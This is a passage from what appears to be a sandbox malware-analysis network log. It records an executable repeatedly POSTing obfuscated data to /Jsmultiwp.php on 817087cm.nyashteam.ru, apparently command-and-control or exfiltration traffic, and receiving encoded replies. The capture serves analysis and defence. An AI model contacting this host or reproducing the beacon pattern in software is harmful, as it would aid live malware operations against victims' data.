cfL4;desc="?proto=TCP&rtt=173335&min_rtt=168260&rtt_var=73248&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2159&delivery_rate=6990&cwnd=31&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 15 27 13 20 5d 30 09 36 0c 2d 5b 39 3a 3c 13 39 3b 33 1a 2c 28 2a 00 35 5f 22 5b 2e 12 2e 58 28 2b 01 10 26 21 2e 5a 24 18 31 1b 29 0e 28 51 06 1c 26 04 33 3a 26 51 3f 3f 3a 02 33 3e 20 5e 3e 51 36 06 2a 07 37 15 20 15 16 17 31 03 2c 0b 3c 11 32 0b 26 3c 26 1b 3b 33 26 06 26 07 2a 51 00 16 21 52 3c 21 38 13 37 20 22 56 36 0b 27 04 28 0b 24 04 25 2d 34 57 27 5a 32 58 30 2c 3f 5e 25 2f 21 55 24 5a 33 17 23 2f 28 09 31 09 23 5d 2d 03 28 57 00 3f 5a 4f 0d 0a 30 0d 0a 0d 0a Data Ascii: 98' ]06-[9:<9;3,(5_"[..X(+&!.Z$1)(Q&3:&Q??:3> ^>Q67 1,<2&<&;3&&*Q!R<!87 "V6'($%-4W'Z2X0,?^%/!U$Z3#/(1#]-(W?ZO0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49828	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:35.899626017 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:01:36.252311945 CET	2528	OUT	Data Raw: 50 59 58 5e 5d 57 55 50 5c 56 5b 59 50 5e 5a 5e 50 54 59 5b 50 5b 53 55 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: PYX^]WUP\V[YP^Z^PTY[P[SU_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_ &U-+Z"'(C)% , 3$&% 81;?+Z5!8;$_" X(/
Dec 10, 2024 19:01:37.317575932 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:01:38.023978949 CET	813	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:01:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b764%2B9Ba0Bjf7qyC0UvyRVbOSDuwRB%2FS2TjbTJhaA4pyGzSpKs2ucUZrT8qlyLDB101%2BWaKaZb3C7bQKZRLmalqqUkxeiP89jfQwTWZAgihjPU6ErsMMLegxehjN4w1IXXEXWlspreY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff2426cda1fcc0-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=172761&min_rtt=167749&rtt_var=72930&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2851&delivery_rate=7024&cwnd=31&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49834	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:38.284583092 CET	299	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue
Dec 10, 2024 19:01:38.635637999 CET	2528	OUT	Data Raw: 55 5a 5d 58 5d 5e 55 57 5c 56 5b 59 50 5f 5a 5b 50 5f 59 54 50 59 53 5e 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: UZ]X]^UW\V[YP_Z[P_YTPYS^_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#16++!'<D>Y74'1;64>-<'\!"<;$_" X(+
Dec 10, 2024 19:01:39.702353954 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:01:40.260595083 CET	819	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:01:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FM5%2B2uNAd4lth7h5XURsDkzz%2BhxvYYqwP1NwtbGyxmmFzzRZSAQrqTSYWcOXcjQ3gqfIdw%2FO6waeKh0rWDWy0xJ3aVYDItVeidHdgROTOW7K4q0vGPZoXGghjG%2BcnV%2FxGaebjcRalMU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff2435a85ed775-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=173761&min_rtt=167986&rtt_var=74544&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2827&delivery_rate=6816&cwnd=31&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49840	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:40.605122089 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:01:40.964576006 CET	2528	OUT	Data Raw: 50 5a 58 5d 58 5a 50 57 5c 56 5b 59 50 5f 5a 59 50 5c 59 54 50 5c 53 5a 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: PZX]XZPW\V[YP_ZYP\YTP\SZ_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#X236+(#7A*4)7<3^$1+&#+5Z-?'Z 1'R/$_" X(+
Dec 10, 2024 19:01:42.024843931 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:01:42.794258118 CET	815	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:01:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WJI8wEhp1Am4jJdvl8FAC1rEWa6HzbNBVqpH7uontfvuV5qLWDpwett0lMc%2FbslBUxrhpwsN25HEp7lGIK5IeRkB9%2BdXpE47eCHeeiFjEDZRW%2Fnxgr%2FFYshLVkgRHcBZftvm4mBixw8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff24442f6feb80-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=174957&min_rtt=168476&rtt_var=76142&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2851&delivery_rate=6626&cwnd=31&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49847	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:43.100250006 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 1856 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:01:43.447988033 CET	1856	OUT	Data Raw: 50 5e 5d 5c 5d 5b 55 53 5c 56 5b 59 50 58 5a 5c 50 5e 59 5e 50 55 53 5d 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: P^]\][US\V[YPXZ\P^Y^PUS]_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_ &%\(3#4$)$)[ <#'^8&;"#^.8<'Z61/;$_" X(7
Dec 10, 2024 19:01:44.541970015 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:01:45.028346062 CET	964	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:01:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=78J3nyiS6tb%2BeQnaKLBoXEiby91fkXuz1adSqQDVK9oG73O4uzzTUJha%2FCSPk%2BlMEkd0Ro4r1PGrkHEsegLu9th0NuD5z7j0smZyv10eKcvPxaa%2FHrTWJr4n8Ndv04gbf4lXhA8KyD4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff2453ee41d77d-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=172005&min_rtt=165702&rtt_var=74745&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2179&delivery_rate=6755&cwnd=31&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 15 27 1c 37 15 2c 0c 21 32 29 5d 2c 29 20 13 2e 3b 3b 58 3a 16 03 15 35 00 31 07 2e 05 26 59 3c 15 2b 5a 31 22 32 5e 24 18 08 0a 29 1e 28 51 06 1c 25 15 27 04 3e 19 2b 59 2d 12 24 13 01 00 29 37 2d 17 28 2e 23 1b 22 3b 20 5e 31 2d 3c 0c 2b 3c 25 1e 33 3c 21 0b 2f 55 39 5f 26 07 2a 51 00 16 22 0b 28 32 37 07 23 30 2a 56 22 32 1a 5c 28 25 2f 10 24 2d 05 0d 27 02 2e 58 33 12 01 5d 27 3f 25 53 27 3c 33 5d 22 2f 38 0c 31 23 23 5d 2d 03 28 57 00 3f 5a 4f 0d 0a 30 0d 0a 0d 0a Data Ascii: 98'7,!2)],) .;;X:51.&Y<+Z1"2^$)(Q%'>+Y-$)7-(.#"; ^1-<+<%3<!/U9_&Q"(27#0V"2\(%/$-'.X3]'?%S'<3]"/81##]-(W?ZO0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49848	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:43.179650068 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:01:43.526103973 CET	2528	OUT	Data Raw: 50 5a 58 5d 58 5d 55 52 5c 56 5b 59 50 5b 5a 5e 50 5d 59 59 50 59 53 5f 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: PZX]X]UR\V[YP[Z^P]YYPYS__X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#2)?Z(54;)-_ Z$0(8%4!,<8!!S;;$_" X(;
Dec 10, 2024 19:01:44.640563011 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:01:45.481125116 CET	827	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:01:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FRejD2Kougt3VdhdzyftGbQbBN%2FD6q%2FfX9ShxiO%2Fbc9WStZnk1AdjyFjvk1TL%2Ba06GhT4iqM4rtKu%2F%2F6%2F2a4zHyrrucOM8Bvnj1IoppFDdy4g1Fc888QSN%2FV2NUy%2F5XSNo7yOtyyE1w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff2454883b688b-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=206748&min_rtt=205820&rtt_var=79038&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2851&delivery_rate=6846&cwnd=31&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49855	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:45.725895882 CET	299	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue
Dec 10, 2024 19:01:46.073074102 CET	2528	OUT	Data Raw: 55 5b 5d 52 5d 5d 50 54 5c 56 5b 59 50 5e 5a 5c 50 55 59 54 50 5f 53 5a 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: U[]R]]PT\V[YP^Z\PUYTP_SZ_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_ &!]( Z"4 +$ ,%828!4;2-,$6;;$_" X(/
Dec 10, 2024 19:01:47.146519899 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:01:47.474545956 CET	811	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:01:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=498ebxh2uLzDbnI6uHmlOqNnOcefC77aQBZxPSyoAToWrxDPLce2V3H97EEKxgrzRA4cdFom5VbTIFJbElq9lBEt98zKuu1%2BeWWeZnmyRkmItoUR5czYf0b1HvG6SGD%2FoHYbEsRgb40%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff24643c17d78f-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=173328&min_rtt=168352&rtt_var=73084&sent=4&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2827&delivery_rate=7013&cwnd=31&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49860	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:47.723025084 CET	299	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue
Dec 10, 2024 19:01:48.073010921 CET	2528	OUT	Data Raw: 55 5f 5d 5a 58 5e 50 54 5c 56 5b 59 50 54 5a 5c 50 54 59 59 50 5b 53 54 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: U_]ZX^PT\V[YPTZ\PTYYP[ST_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#'#-]('"$;>'-#/+]$+#%(*#(5\,/<"28,$_" X(
Dec 10, 2024 19:01:49.251231909 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:01:49.712629080 CET	819	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:01:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4q%2FpG4qrSZDhlEBvwBPspxZuRiZvR19FIV7vJ1PMupQ7aJxS8a5rSRoK%2BRxTXf%2BOVjUhewpXn7m7oR0Z8G4cLoiosSTZF6RzL1%2FJxf%2F9awpFaNVLAsQG%2F3MVa0yA84Zk1xeYXsIkc68%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff2470ac00d77d-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=173709&min_rtt=168412&rtt_var=73749&sent=4&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2827&delivery_rate=6926&cwnd=31&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49866	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:49.965750933 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2520 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49867	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:50.172137022 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 1856 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:01:50.526220083 CET	1856	OUT	Data Raw: 50 5e 58 58 58 5e 50 54 5c 56 5b 59 50 5b 5a 5e 50 5d 59 58 50 5e 53 5c 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: P^XXX^PT\V[YP[Z^P]YXP^S\_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#]1U?<76'0@>4=Y7,80( $;#()X;67.;$_" X(;
Dec 10, 2024 19:01:51.269884109 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:01:51.997957945 CET	957	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:01:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A3W5Ztv4dZYJblpf7DNLhz0Iu3TSXJph0LeDbmSzNRSb7YkoGLfa7La5WM1Sq0JVcuEqP7PJTiuU1HX%2BYJjsmwCfnAMP%2FqMUc6REbyTqKvcvZpW6xIAaNU0r95l0ZksttbpFFhHeohk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff247e796bf799-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2967&min_rtt=1716&rtt_var=3146&sent=4&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2179&delivery_rate=124477&cwnd=59&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 15 24 07 20 2b 0a 08 35 31 3d 5d 2e 00 2c 5c 3a 16 20 07 2e 28 04 07 35 17 00 5f 2e 3c 00 13 3d 3b 2b 5e 26 0c 2e 5a 30 26 03 53 3d 0e 28 51 06 1c 25 17 25 39 2e 14 2a 3f 0b 5a 24 03 27 03 3d 24 21 5a 2a 10 2b 52 34 38 3b 03 26 13 0e 0d 2b 2c 32 0e 33 3c 2d 44 38 0d 04 02 25 17 2a 51 00 16 21 50 3c 21 16 13 23 23 2a 55 21 1c 3c 5a 28 25 2b 10 24 2d 20 1d 24 2c 00 13 33 02 24 06 24 06 3a 0a 24 12 01 14 23 01 09 51 27 33 23 5d 2d 03 28 57 00 3f 5a 4f 0d 0a 30 0d 0a 0d 0a Data Ascii: 98$ +51=].,\: .(5_.<=;+^&.Z0&S=(Q%%9.?Z$'=$!Z+R48;&+,23<-D8%Q!P<!##U!<Z(%+$- $,3$$:$#Q'3#]-(W?ZO0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49869	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:50.305778027 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:01:50.651125908 CET	2528	OUT	Data Raw: 55 5c 5d 5d 5d 58 50 54 5c 56 5b 59 50 54 5a 5c 50 55 59 59 50 59 53 5e 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: U\]]]XPT\V[YPTZ\PUYYPYS^_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#'3)X? ["$ A+4%7<3+X1="8*,/6 .;$_" X(
Dec 10, 2024 19:01:51.391961098 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:01:51.917057991 CET	818	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:01:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A3RK0wwS8QEdwH4AakvmJe%2F9rIpD%2B0xeM1lBM9NEX0Htoen%2BytaOp9Xp2iXz%2BRuWm%2F71kTUaJx05%2FJvxypkwVNyXsXont75mZ5ejRsqbjjTdOUF%2F20RVHheTIK8l4s0ZwYqI3rlhKH4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff247f3b431a1f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3563&min_rtt=1910&rtt_var=4022&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2851&delivery_rate=96471&cwnd=227&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49874	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
